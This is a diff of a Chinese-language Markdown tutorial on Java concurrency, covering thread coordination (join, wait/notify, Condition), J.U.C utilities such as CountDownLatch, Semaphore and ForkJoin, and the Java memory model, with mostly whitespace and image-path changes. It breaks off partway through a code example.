+对于以下代码，虽然 b 线程先启动，但是因为在 b 线程中调用了 a 线程的 join() 方法，b 线程会等待 a 线程结束才继续执行，因此最后能够保证 a 线程的输出先于 b 线程的输出。
 
 ```java
-public class JoinExample {
+public class JoinExample {
 
-    private class A extends Thread {
-        @Override
-        public void run() {
-            System.out.println("A");
-        }
-    }
+    private class A extends Thread {
+        @Override
+        public void run() {
+            System.out.println("A");
+        }
+    }
 
-    private class B extends Thread {
+    private class B extends Thread {
 
-        private A a;
+        private A a;
 
-        B(A a) {
-            this.a = a;
-        }
+        B(A a) {
+            this.a = a;
+        }
 
-        @Override
-        public void run() {
-            try {
-                a.join();
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            System.out.println("B");
-        }
-    }
+        @Override
+        public void run() {
+            try {
+                a.join();
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            System.out.println("B");
+        }
+    }
 
-    public void test() {
-        A a = new A();
-        B b = new B(a);
-        b.start();
-        a.start();
-    }
+    public void test() {
+        A a = new A();
+        B b = new B(a);
+        b.start();
+        a.start();
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    JoinExample example = new JoinExample();
-    example.test();
+public static void main(String[] args) {
+    JoinExample example = new JoinExample();
+    example.test();
 }
 ```
 
@@ -627,41 +565,41 @@ A
 B
 ```
 
-## wait() notify() notifyAll()
+## wait() notify() notifyAll()
 
-调用 wait() 使得线程等待某个条件满足，线程在等待时会被挂起，当其他线程的运行使得这个条件满足时，其它线程会调用 notify() 或者 notifyAll() 来唤醒挂起的线程。
+调用 wait() 使得线程等待某个条件满足，线程在等待时会被挂起，当其他线程的运行使得这个条件满足时，其它线程会调用 notify() 或者 notifyAll() 来唤醒挂起的线程。
 
-它们都属于 Object 的一部分，而不属于 Thread。
+它们都属于 Object 的一部分，而不属于 Thread。
 
-只能用在同步方法或者同步控制块中使用，否则会在运行时抛出 IllegalMonitorStateException。
+只能用在同步方法或者同步控制块中使用，否则会在运行时抛出 IllegalMonitorStateException。
 
-使用 wait() 挂起期间，线程会释放锁。这是因为，如果没有释放锁，那么其它线程就无法进入对象的同步方法或者同步控制块中，那么就无法执行 notify() 或者 notifyAll() 来唤醒挂起的线程，造成死锁。
+使用 wait() 挂起期间，线程会释放锁。这是因为，如果没有释放锁，那么其它线程就无法进入对象的同步方法或者同步控制块中，那么就无法执行 notify() 或者 notifyAll() 来唤醒挂起的线程，造成死锁。
 
 ```java
-public class WaitNotifyExample {
+public class WaitNotifyExample {
 
-    public synchronized void before() {
-        System.out.println("before");
-        notifyAll();
-    }
+    public synchronized void before() {
+        System.out.println("before");
+        notifyAll();
+    }
 
-    public synchronized void after() {
-        try {
-            wait();
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-        System.out.println("after");
-    }
+    public synchronized void after() {
+        try {
+            wait();
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        System.out.println("after");
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    WaitNotifyExample example = new WaitNotifyExample();
-    executorService.execute(() -> example.after());
-    executorService.execute(() -> example.before());
+public static void main(String[] args) {
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    WaitNotifyExample example = new WaitNotifyExample();
+    executorService.execute(() -> example.after());
+    executorService.execute(() -> example.before());
 }
 ```
 
@@ -670,55 +608,55 @@ before
 after
 ```
 
-**wait() 和 sleep() 的区别** 
+**wait() 和 sleep() 的区别**
 
-- wait() 是 Object 的方法，而 sleep() 是 Thread 的静态方法；
-- wait() 会释放锁，sleep() 不会。
+- wait() 是 Object 的方法，而 sleep() 是 Thread 的静态方法；
+- wait() 会释放锁，sleep() 不会。
 
-## await() signal() signalAll()
+## await() signal() signalAll()
 
-java.util.concurrent 类库中提供了 Condition 类来实现线程之间的协调，可以在 Condition 上调用 await() 方法使线程等待，其它线程调用 signal() 或 signalAll() 方法唤醒等待的线程。
+java.util.concurrent 类库中提供了 Condition 类来实现线程之间的协调，可以在 Condition 上调用 await() 方法使线程等待，其它线程调用 signal() 或 signalAll() 方法唤醒等待的线程。
 
-相比于 wait() 这种等待方式，await() 可以指定等待的条件，因此更加灵活。
+相比于 wait() 这种等待方式，await() 可以指定等待的条件，因此更加灵活。
 
-使用 Lock 来获取一个 Condition 对象。
+使用 Lock 来获取一个 Condition 对象。
 
 ```java
-public class AwaitSignalExample {
+public class AwaitSignalExample {
 
-    private Lock lock = new ReentrantLock();
-    private Condition condition = lock.newCondition();
+    private Lock lock = new ReentrantLock();
+    private Condition condition = lock.newCondition();
 
-    public void before() {
-        lock.lock();
-        try {
-            System.out.println("before");
-            condition.signalAll();
-        } finally {
-            lock.unlock();
-        }
-    }
+    public void before() {
+        lock.lock();
+        try {
+            System.out.println("before");
+            condition.signalAll();
+        } finally {
+            lock.unlock();
+        }
+    }
 
-    public void after() {
-        lock.lock();
-        try {
-            condition.await();
-            System.out.println("after");
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        } finally {
-            lock.unlock();
-        }
-    }
+    public void after() {
+        lock.lock();
+        try {
+            condition.await();
+            System.out.println("after");
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        } finally {
+            lock.unlock();
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    AwaitSignalExample example = new AwaitSignalExample();
-    executorService.execute(() -> example.after());
-    executorService.execute(() -> example.before());
+public static void main(String[] args) {
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    AwaitSignalExample example = new AwaitSignalExample();
+    executorService.execute(() -> example.after());
+    executorService.execute(() -> example.before());
 }
 ```
 
@@ -727,35 +665,35 @@ before
 after
 ```
 
-# 七、J.U.C - AQS
+# 七、J.U.C - AQS
 
-java.util.concurrent（J.U.C）大大提高了并发性能，AQS 被认为是 J.U.C 的核心。
+java.util.concurrent（J.U.C）大大提高了并发性能，AQS 被认为是 J.U.C 的核心。
 
-## CountdownLatch
+## CountdownLatch
 
 用来控制一个线程等待多个线程。
 
-维护了一个计数器 cnt，每次调用 countDown() 方法会让计数器的值减 1，减到 0 的时候，那些因为调用 await() 方法而在等待的线程就会被唤醒。
+维护了一个计数器 cnt，每次调用 countDown() 方法会让计数器的值减 1，减到 0 的时候，那些因为调用 await() 方法而在等待的线程就会被唤醒。
 
-<div align="center"> <img src="pics/CountdownLatch.png" width=""/> </div><br>
+<img src="index_files/CountdownLatch.png" width=""/>
 
 ```java
-public class CountdownLatchExample {
+public class CountdownLatchExample {
 
-    public static void main(String[] args) throws InterruptedException {
-        final int totalThread = 10;
-        CountDownLatch countDownLatch = new CountDownLatch(totalThread);
-        ExecutorService executorService = Executors.newCachedThreadPool();
-        for (int i = 0; i < totalThread; i++) {
-            executorService.execute(() -> {
-                System.out.print("run..");
-                countDownLatch.countDown();
-            });
-        }
-        countDownLatch.await();
-        System.out.println("end");
-        executorService.shutdown();
-    }
+    public static void main(String[] args) throws InterruptedException {
+        final int totalThread = 10;
+        CountDownLatch countDownLatch = new CountDownLatch(totalThread);
+        ExecutorService executorService = Executors.newCachedThreadPool();
+        for (int i = 0; i < totalThread; i++) {
+            executorService.execute(() -> {
+                System.out.print("run..");
+                countDownLatch.countDown();
+            });
+        }
+        countDownLatch.await();
+        System.out.println("end");
+        executorService.shutdown();
+    }
 }
 ```
 
@@ -763,51 +701,51 @@ public class CountdownLatchExample {
 run..run..run..run..run..run..run..run..run..run..end
 ```
 
-## CyclicBarrier
+## CyclicBarrier
 
 用来控制多个线程互相等待，只有当多个线程都到达时，这些线程才会继续执行。
 
-和 CountdownLatch 相似，都是通过维护计数器来实现的。线程执行 await() 方法之后计数器会减 1，并进行等待，直到计数器为 0，所有调用 await() 方法而在等待的线程才能继续执行。
+和 CountdownLatch 相似，都是通过维护计数器来实现的。线程执行 await() 方法之后计数器会减 1，并进行等待，直到计数器为 0，所有调用 await() 方法而在等待的线程才能继续执行。
 
-CyclicBarrier 和 CountdownLatch 的一个区别是，CyclicBarrier 的计数器通过调用 reset() 方法可以循环使用，所以它才叫做循环屏障。
+CyclicBarrier 和 CountdownLatch 的一个区别是，CyclicBarrier 的计数器通过调用 reset() 方法可以循环使用，所以它才叫做循环屏障。
 
-CyclicBarrier 有两个构造函数，其中 parties 指示计数器的初始值，barrierAction 在所有线程都到达屏障的时候会执行一次。
+CyclicBarrier 有两个构造函数，其中 parties 指示计数器的初始值，barrierAction 在所有线程都到达屏障的时候会执行一次。
 
 ```java
-public CyclicBarrier(int parties, Runnable barrierAction) {
-    if (parties <= 0) throw new IllegalArgumentException();
-    this.parties = parties;
-    this.count = parties;
-    this.barrierCommand = barrierAction;
+public CyclicBarrier(int parties, Runnable barrierAction) {
+    if (parties <= 0) throw new IllegalArgumentException();
+    this.parties = parties;
+    this.count = parties;
+    this.barrierCommand = barrierAction;
 }
 
-public CyclicBarrier(int parties) {
-    this(parties, null);
+public CyclicBarrier(int parties) {
+    this(parties, null);
 }
 ```
 
-<div align="center"> <img src="pics/CyclicBarrier.png" width=""/> </div><br>
+<img src="index_files/CyclicBarrier.png" width=""/>
 
 ```java
-public class CyclicBarrierExample {
+public class CyclicBarrierExample {
 
-    public static void main(String[] args) {
-        final int totalThread = 10;
-        CyclicBarrier cyclicBarrier = new CyclicBarrier(totalThread);
-        ExecutorService executorService = Executors.newCachedThreadPool();
-        for (int i = 0; i < totalThread; i++) {
-            executorService.execute(() -> {
-                System.out.print("before..");
-                try {
-                    cyclicBarrier.await();
-                } catch (InterruptedException | BrokenBarrierException e) {
-                    e.printStackTrace();
-                }
-                System.out.print("after..");
-            });
-        }
-        executorService.shutdown();
-    }
+    public static void main(String[] args) {
+        final int totalThread = 10;
+        CyclicBarrier cyclicBarrier = new CyclicBarrier(totalThread);
+        ExecutorService executorService = Executors.newCachedThreadPool();
+        for (int i = 0; i < totalThread; i++) {
+            executorService.execute(() -> {
+                System.out.print("before..");
+                try {
+                    cyclicBarrier.await();
+                } catch (InterruptedException | BrokenBarrierException e) {
+                    e.printStackTrace();
+                }
+                System.out.print("after..");
+            });
+        }
+        executorService.shutdown();
+    }
 }
 ```
 
@@ -815,154 +753,154 @@ public class CyclicBarrierExample {
 before..before..before..before..before..before..before..before..before..before..after..after..after..after..after..after..after..after..after..after..
 ```
 
-## Semaphore
+## Semaphore
 
-Semaphore 类似于操作系统中的信号量，可以控制对互斥资源的访问线程数。
+Semaphore 类似于操作系统中的信号量，可以控制对互斥资源的访问线程数。
 
-<div align="center"> <img src="pics/Semaphore.png" width=""/> </div><br>
+<img src="index_files/Semaphore.png" width=""/>
 
-以下代码模拟了对某个服务的并发请求，每次只能有 3 个客户端同时访问，请求总数为 10。
+以下代码模拟了对某个服务的并发请求，每次只能有 3 个客户端同时访问，请求总数为 10。
 
 ```java
-public class SemaphoreExample {
+public class SemaphoreExample {
 
-    public static void main(String[] args) {
-        final int clientCount = 3;
-        final int totalRequestCount = 10;
-        Semaphore semaphore = new Semaphore(clientCount);
-        ExecutorService executorService = Executors.newCachedThreadPool();
-        for (int i = 0; i < totalRequestCount; i++) {
-            executorService.execute(()->{
-                try {
-                    semaphore.acquire();
-                    System.out.print(semaphore.availablePermits() + " ");
-                } catch (InterruptedException e) {
-                    e.printStackTrace();
-                } finally {
-                    semaphore.release();
-                }
-            });
-        }
-        executorService.shutdown();
-    }
+    public static void main(String[] args) {
+        final int clientCount = 3;
+        final int totalRequestCount = 10;
+        Semaphore semaphore = new Semaphore(clientCount);
+        ExecutorService executorService = Executors.newCachedThreadPool();
+        for (int i = 0; i < totalRequestCount; i++) {
+            executorService.execute(()->{
+                try {
+                    semaphore.acquire();
+                    System.out.print(semaphore.availablePermits() + " ");
+                } catch (InterruptedException e) {
+                    e.printStackTrace();
+                } finally {
+                    semaphore.release();
+                }
+            });
+        }
+        executorService.shutdown();
+    }
 }
 ```
 
 ```html
-2 1 2 2 2 2 2 1 2 2
+2 1 2 2 2 2 2 1 2 2
 ```
 
-# 八、J.U.C - 其它组件
+# 八、J.U.C - 其它组件
 
-## FutureTask
+## FutureTask
 
-在介绍 Callable 时我们知道它可以有返回值，返回值通过 Future<V> 进行封装。FutureTask 实现了 RunnableFuture 接口，该接口继承自 Runnable 和 Future<V> 接口，这使得 FutureTask 既可以当做一个任务执行，也可以有返回值。
+在介绍 Callable 时我们知道它可以有返回值，返回值通过 Future<V> 进行封装。FutureTask 实现了 RunnableFuture 接口，该接口继承自 Runnable 和 Future<V> 接口，这使得 FutureTask 既可以当做一个任务执行，也可以有返回值。
 
 ```java
-public class FutureTask<V> implements RunnableFuture<V>
+public class FutureTask<V> implements RunnableFuture<V>
 ```
 
 ```java
-public interface RunnableFuture<V> extends Runnable, Future<V>
+public interface RunnableFuture<V> extends Runnable, Future<V>
 ```
 
-FutureTask 可用于异步获取执行结果或取消执行任务的场景。当一个计算任务需要执行很长时间，那么就可以用 FutureTask 来封装这个任务，主线程在完成自己的任务之后再去获取结果。
+FutureTask 可用于异步获取执行结果或取消执行任务的场景。当一个计算任务需要执行很长时间，那么就可以用 FutureTask 来封装这个任务，主线程在完成自己的任务之后再去获取结果。
 
 ```java
-public class FutureTaskExample {
+public class FutureTaskExample {
 
-    public static void main(String[] args) throws ExecutionException, InterruptedException {
-        FutureTask<Integer> futureTask = new FutureTask<Integer>(new Callable<Integer>() {
-            @Override
-            public Integer call() throws Exception {
-                int result = 0;
-                for (int i = 0; i < 100; i++) {
-                    Thread.sleep(10);
-                    result += i;
-                }
-                return result;
-            }
-        });
+    public static void main(String[] args) throws ExecutionException, InterruptedException {
+        FutureTask<Integer> futureTask = new FutureTask<Integer>(new Callable<Integer>() {
+            @Override
+            public Integer call() throws Exception {
+                int result = 0;
+                for (int i = 0; i < 100; i++) {
+                    Thread.sleep(10);
+                    result += i;
+                }
+                return result;
+            }
+        });
 
-        Thread computeThread = new Thread(futureTask);
-        computeThread.start();
+        Thread computeThread = new Thread(futureTask);
+        computeThread.start();
 
-        Thread otherThread = new Thread(() -> {
-            System.out.println("other task is running...");
-            try {
-                Thread.sleep(1000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        });
-        otherThread.start();
-        System.out.println(futureTask.get());
-    }
+        Thread otherThread = new Thread(() -> {
+            System.out.println("other task is running...");
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        });
+        otherThread.start();
+        System.out.println(futureTask.get());
+    }
 }
 ```
 
 ```html
-other task is running...
+other task is running...
 4950
 ```
 
-## BlockingQueue
+## BlockingQueue
 
-java.util.concurrent.BlockingQueue 接口有以下阻塞队列的实现：
+java.util.concurrent.BlockingQueue 接口有以下阻塞队列的实现：
 
--  **FIFO 队列** ：LinkedBlockingQueue、ArrayBlockingQueue（固定长度）
--  **优先级队列** ：PriorityBlockingQueue
+- **FIFO 队列**：LinkedBlockingQueue、ArrayBlockingQueue（固定长度）
+- **优先级队列**：PriorityBlockingQueue
 
-提供了阻塞的 take() 和 put() 方法：如果队列为空 take() 将阻塞，直到队列中有内容；如果队列为满 put() 将阻塞，直到队列有空闲位置。
+提供了阻塞的 take() 和 put() 方法：如果队列为空 take() 将阻塞，直到队列中有内容；如果队列为满 put() 将阻塞，直到队列有空闲位置。
 
-**使用 BlockingQueue 实现生产者消费者问题** 
+**使用 BlockingQueue 实现生产者消费者问题**
 
 ```java
-public class ProducerConsumer {
+public class ProducerConsumer {
 
-    private static BlockingQueue<String> queue = new ArrayBlockingQueue<>(5);
+    private static BlockingQueue<String> queue = new ArrayBlockingQueue<>(5);
 
-    private static class Producer extends Thread {
-        @Override
-        public void run() {
-            try {
-                queue.put("product");
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            System.out.print("produce..");
-        }
-    }
+    private static class Producer extends Thread {
+        @Override
+        public void run() {
+            try {
+                queue.put("product");
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            System.out.print("produce..");
+        }
+    }
 
-    private static class Consumer extends Thread {
+    private static class Consumer extends Thread {
 
-        @Override
-        public void run() {
-            try {
-                String product = queue.take();
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            System.out.print("consume..");
-        }
-    }
+        @Override
+        public void run() {
+            try {
+                String product = queue.take();
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            System.out.print("consume..");
+        }
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    for (int i = 0; i < 2; i++) {
-        Producer producer = new Producer();
-        producer.start();
-    }
-    for (int i = 0; i < 5; i++) {
-        Consumer consumer = new Consumer();
-        consumer.start();
-    }
-    for (int i = 0; i < 3; i++) {
-        Producer producer = new Producer();
-        producer.start();
-    }
+public static void main(String[] args) {
+    for (int i = 0; i < 2; i++) {
+        Producer producer = new Producer();
+        producer.start();
+    }
+    for (int i = 0; i < 5; i++) {
+        Consumer consumer = new Consumer();
+        consumer.start();
+    }
+    for (int i = 0; i < 3; i++) {
+        Producer producer = new Producer();
+        producer.start();
+    }
 }
 ```
 
@@ -970,99 +908,99 @@ public static void main(String[] args) {
 produce..produce..consume..consume..produce..consume..produce..consume..produce..consume..
 ```
 
-## ForkJoin
+## ForkJoin
 
-主要用于并行计算中，和 MapReduce 原理类似，都是把大的计算任务拆分成多个小任务并行计算。
+主要用于并行计算中，和 MapReduce 原理类似，都是把大的计算任务拆分成多个小任务并行计算。
 
 ```java
-public class ForkJoinExample extends RecursiveTask<Integer> {
+public class ForkJoinExample extends RecursiveTask<Integer> {
 
-    private final int threshold = 5;
-    private int first;
-    private int last;
+    private final int threshold = 5;
+    private int first;
+    private int last;
 
-    public ForkJoinExample(int first, int last) {
-        this.first = first;
-        this.last = last;
-    }
+    public ForkJoinExample(int first, int last) {
+        this.first = first;
+        this.last = last;
+    }
 
-    @Override
-    protected Integer compute() {
-        int result = 0;
-        if (last - first <= threshold) {
-            // 任务足够小则直接计算
-            for (int i = first; i <= last; i++) {
-                result += i;
-            }
-        } else {
-            // 拆分成小任务
-            int middle = first + (last - first) / 2;
-            ForkJoinExample leftTask = new ForkJoinExample(first, middle);
-            ForkJoinExample rightTask = new ForkJoinExample(middle + 1, last);
-            leftTask.fork();
-            rightTask.fork();
-            result = leftTask.join() + rightTask.join();
-        }
-        return result;
-    }
+    @Override
+    protected Integer compute() {
+        int result = 0;
+        if (last - first <= threshold) {
+            // 任务足够小则直接计算
+            for (int i = first; i <= last; i++) {
+                result += i;
+            }
+        } else {
+            // 拆分成小任务
+            int middle = first + (last - first) / 2;
+            ForkJoinExample leftTask = new ForkJoinExample(first, middle);
+            ForkJoinExample rightTask = new ForkJoinExample(middle + 1, last);
+            leftTask.fork();
+            rightTask.fork();
+            result = leftTask.join() + rightTask.join();
+        }
+        return result;
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws ExecutionException, InterruptedException {
-    ForkJoinExample example = new ForkJoinExample(1, 10000);
-    ForkJoinPool forkJoinPool = new ForkJoinPool();
-    Future result = forkJoinPool.submit(example);
-    System.out.println(result.get());
+public static void main(String[] args) throws ExecutionException, InterruptedException {
+    ForkJoinExample example = new ForkJoinExample(1, 10000);
+    ForkJoinPool forkJoinPool = new ForkJoinPool();
+    Future result = forkJoinPool.submit(example);
+    System.out.println(result.get());
 }
 ```
 
-ForkJoin 使用 ForkJoinPool 来启动，它是一个特殊的线程池，线程数量取决于 CPU 核数。
+ForkJoin 使用 ForkJoinPool 来启动，它是一个特殊的线程池，线程数量取决于 CPU 核数。
 
 ```java
-public class ForkJoinPool extends AbstractExecutorService
+public class ForkJoinPool extends AbstractExecutorService
 ```
 
-ForkJoinPool 实现了工作窃取算法来提高 CPU 的利用率。每个线程都维护了一个双端队列，用来存储需要执行的任务。工作窃取算法允许空闲的线程从其它线程的双端队列中窃取一个任务来执行。窃取的任务必须是最晚的任务，避免和队列所属线程发生竞争。例如下图中，Thread2 从 Thread1 的队列中拿出最晚的 Task1 任务，Thread1 会拿出 Task2 来执行，这样就避免发生竞争。但是如果队列中只有一个任务时还是会发生竞争。
+ForkJoinPool 实现了工作窃取算法来提高 CPU 的利用率。每个线程都维护了一个双端队列，用来存储需要执行的任务。工作窃取算法允许空闲的线程从其它线程的双端队列中窃取一个任务来执行。窃取的任务必须是最晚的任务，避免和队列所属线程发生竞争。例如下图中，Thread2 从 Thread1 的队列中拿出最晚的 Task1 任务，Thread1 会拿出 Task2 来执行，这样就避免发生竞争。但是如果队列中只有一个任务时还是会发生竞争。
 
-<div align="center"> <img src="pics/15b45dc6-27aa-4519-9194-f4acfa2b077f.jpg" width=""/> </div><br>
+<img src="index_files/15b45dc6-27aa-4519-9194-f4acfa2b077f.jpg" width=""/>
 
-# 九、线程不安全示例
+# 九、线程不安全示例
 
 如果多个线程对同一个共享数据进行访问而不采取同步操作的话，那么操作的结果是不一致的。
 
-以下代码演示了 1000 个线程同时对 cnt 执行自增操作，操作结束之后它的值有可能小于 1000。
+以下代码演示了 1000 个线程同时对 cnt 执行自增操作，操作结束之后它的值有可能小于 1000。
 
 ```java
-public class ThreadUnsafeExample {
+public class ThreadUnsafeExample {
 
-    private int cnt = 0;
+    private int cnt = 0;
 
-    public void add() {
-        cnt++;
-    }
+    public void add() {
+        cnt++;
+    }
 
-    public int get() {
-        return cnt;
-    }
+    public int get() {
+        return cnt;
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    final int threadSize = 1000;
-    ThreadUnsafeExample example = new ThreadUnsafeExample();
-    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    for (int i = 0; i < threadSize; i++) {
-        executorService.execute(() -> {
-            example.add();
-            countDownLatch.countDown();
-        });
-    }
-    countDownLatch.await();
-    executorService.shutdown();
-    System.out.println(example.get());
+public static void main(String[] args) throws InterruptedException {
+    final int threadSize = 1000;
+    ThreadUnsafeExample example = new ThreadUnsafeExample();
+    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    for (int i = 0; i < threadSize; i++) {
+        executorService.execute(() -> {
+            example.add();
+            countDownLatch.countDown();
+        });
+    }
+    countDownLatch.await();
+    executorService.shutdown();
+    System.out.println(example.get());
 }
 ```
 
@@ -1070,88 +1008,88 @@ public static void main(String[] args) throws InterruptedException {
 997
 ```
 
-# 十、Java 内存模型
+# 十、Java 内存模型
 
-Java 内存模型试图屏蔽各种硬件和操作系统的内存访问差异，以实现让 Java 程序在各种平台下都能达到一致的内存访问效果。
+Java 内存模型试图屏蔽各种硬件和操作系统的内存访问差异，以实现让 Java 程序在各种平台下都能达到一致的内存访问效果。
 
-## 主内存与工作内存
+## 主内存与工作内存
 
 处理器上的寄存器的读写的速度比内存快几个数量级，为了解决这种速度矛盾，在它们之间加入了高速缓存。
 
 加入高速缓存带来了一个新的问题：缓存一致性。如果多个缓存共享同一块主内存区域，那么多个缓存的数据可能会不一致，需要一些协议来解决这个问题。
 
-<div align="center"> <img src="pics/68778c1b-15ab-4826-99c0-3b4fd38cb9e9.png" width=""/> </div><br>
+<img src="index_files/68778c1b-15ab-4826-99c0-3b4fd38cb9e9.png" width=""/>
 
 所有的变量都存储在主内存中，每个线程还有自己的工作内存，工作内存存储在高速缓存或者寄存器中，保存了该线程使用的变量的主内存副本拷贝。
 
 线程只能直接操作工作内存中的变量，不同线程之间的变量值传递需要通过主内存来完成。
 
-<div align="center"> <img src="pics/47358f87-bc4c-496f-9a90-8d696de94cee.png" width=""/> </div><br>
+<img src="index_files/47358f87-bc4c-496f-9a90-8d696de94cee.png" width=""/>
 
-## 内存间交互操作
+## 内存间交互操作
 
-Java 内存模型定义了 8 个操作来完成主内存和工作内存的交互操作。
+Java 内存模型定义了 8 个操作来完成主内存和工作内存的交互操作。
 
-<div align="center"> <img src="pics/536c6dfd-305a-4b95-b12c-28ca5e8aa043.png" width=""/> </div><br>
+<img src="index_files/536c6dfd-305a-4b95-b12c-28ca5e8aa043.png" width=""/>
 
-- read：把一个变量的值从主内存传输到工作内存中
-- load：在 read 之后执行，把 read 得到的值放入工作内存的变量副本中
-- use：把工作内存中一个变量的值传递给执行引擎
-- assign：把一个从执行引擎接收到的值赋给工作内存的变量
-- store：把工作内存的一个变量的值传送到主内存中
-- write：在 store 之后执行，把 store 得到的值放入主内存的变量中
-- lock：作用于主内存的变量
-- unlock
+- read：把一个变量的值从主内存传输到工作内存中
+- load：在 read 之后执行，把 read 得到的值放入工作内存的变量副本中
+- use：把工作内存中一个变量的值传递给执行引擎
+- assign：把一个从执行引擎接收到的值赋给工作内存的变量
+- store：把工作内存的一个变量的值传送到主内存中
+- write：在 store 之后执行，把 store 得到的值放入主内存的变量中
+- lock：作用于主内存的变量
+- unlock
 
-## 内存模型三大特性
+## 内存模型三大特性
 
-### 1. 原子性
+### 1. 原子性
 
-Java 内存模型保证了 read、load、use、assign、store、write、lock 和 unlock 操作具有原子性，例如对一个 int 类型的变量执行 assign 赋值操作，这个操作就是原子性的。但是 Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据（long，double）的读写操作划分为两次 32 位的操作来进行，即 load、store、read 和 write 操作可以不具备原子性。
+Java 内存模型保证了 read、load、use、assign、store、write、lock 和 unlock 操作具有原子性，例如对一个 int 类型的变量执行 assign 赋值操作，这个操作就是原子性的。但是 Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据（long，double）的读写操作划分为两次 32 位的操作来进行，即 load、store、read 和 write 操作可以不具备原子性。
 
-有一个错误认识就是，int 等原子性的类型在多线程环境中不会出现线程安全问题。前面的线程不安全示例代码中，cnt 属于 int 类型变量，1000 个线程对它进行自增操作之后，得到的值为 997 而不是 1000。
+有一个错误认识就是，int 等原子性的类型在多线程环境中不会出现线程安全问题。前面的线程不安全示例代码中，cnt 属于 int 类型变量，1000 个线程对它进行自增操作之后，得到的值为 997 而不是 1000。
 
-为了方便讨论，将内存间的交互操作简化为 3 个：load、assign、store。
+为了方便讨论，将内存间的交互操作简化为 3 个：load、assign、store。
 
-下图演示了两个线程同时对 cnt 进行操作，load、assign、store 这一系列操作整体上看不具备原子性，那么在 T1 修改 cnt 并且还没有将修改后的值写入主内存，T2 依然可以读入旧值。可以看出，这两个线程虽然执行了两次自增运算，但是主内存中 cnt 的值最后为 1 而不是 2。因此对 int 类型读写操作满足原子性只是说明 load、assign、store 这些单个操作具备原子性。
+下图演示了两个线程同时对 cnt 进行操作，load、assign、store 这一系列操作整体上看不具备原子性，那么在 T1 修改 cnt 并且还没有将修改后的值写入主内存，T2 依然可以读入旧值。可以看出，这两个线程虽然执行了两次自增运算，但是主内存中 cnt 的值最后为 1 而不是 2。因此对 int 类型读写操作满足原子性只是说明 load、assign、store 这些单个操作具备原子性。
 
-<div align="center"> <img src="pics/ef8eab00-1d5e-4d99-a7c2-d6d68ea7fe92.png" width=""/> </div><br>
+<img src="index_files/ef8eab00-1d5e-4d99-a7c2-d6d68ea7fe92.png" width=""/>
 
-AtomicInteger 能保证多个线程修改的原子性。
+AtomicInteger 能保证多个线程修改的原子性。
 
-<div align="center"> <img src="pics/952afa9a-458b-44ce-bba9-463e60162945.png" width=""/> </div><br>
+<img src="index_files/952afa9a-458b-44ce-bba9-463e60162945.png" width=""/>
 
-使用 AtomicInteger 重写之前线程不安全的代码之后得到以下线程安全实现：
+使用 AtomicInteger 重写之前线程不安全的代码之后得到以下线程安全实现：
 
 ```java
-public class AtomicExample {
-    private AtomicInteger cnt = new AtomicInteger();
+public class AtomicExample {
+    private AtomicInteger cnt = new AtomicInteger();
 
-    public void add() {
-        cnt.incrementAndGet();
-    }
+    public void add() {
+        cnt.incrementAndGet();
+    }
 
-    public int get() {
-        return cnt.get();
-    }
+    public int get() {
+        return cnt.get();
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    final int threadSize = 1000;
-    AtomicExample example = new AtomicExample(); // 只修改这条语句
-    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    for (int i = 0; i < threadSize; i++) {
-        executorService.execute(() -> {
-            example.add();
-            countDownLatch.countDown();
-        });
-    }
-    countDownLatch.await();
-    executorService.shutdown();
-    System.out.println(example.get());
+public static void main(String[] args) throws InterruptedException {
+    final int threadSize = 1000;
+    AtomicExample example = new AtomicExample(); // 只修改这条语句
+    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    for (int i = 0; i < threadSize; i++) {
+        executorService.execute(() -> {
+            example.add();
+            countDownLatch.countDown();
+        });
+    }
+    countDownLatch.await();
+    executorService.shutdown();
+    System.out.println(example.get());
 }
 ```
 
@@ -1159,37 +1097,37 @@ public static void main(String[] args) throws InterruptedException {
 1000
 ```
 
-除了使用原子类之外，也可以使用 synchronized 互斥锁来保证操作的原子性。它对应的内存间交互操作为：lock 和 unlock，在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。
+除了使用原子类之外，也可以使用 synchronized 互斥锁来保证操作的原子性。它对应的内存间交互操作为：lock 和 unlock，在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。
 
 ```java
-public class AtomicSynchronizedExample {
-    private int cnt = 0;
+public class AtomicSynchronizedExample {
+    private int cnt = 0;
 
-    public synchronized void add() {
-        cnt++;
-    }
+    public synchronized void add() {
+        cnt++;
+    }
 
-    public synchronized int get() {
-        return cnt;
-    }
+    public synchronized int get() {
+        return cnt;
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) throws InterruptedException {
-    final int threadSize = 1000;
-    AtomicSynchronizedExample example = new AtomicSynchronizedExample();
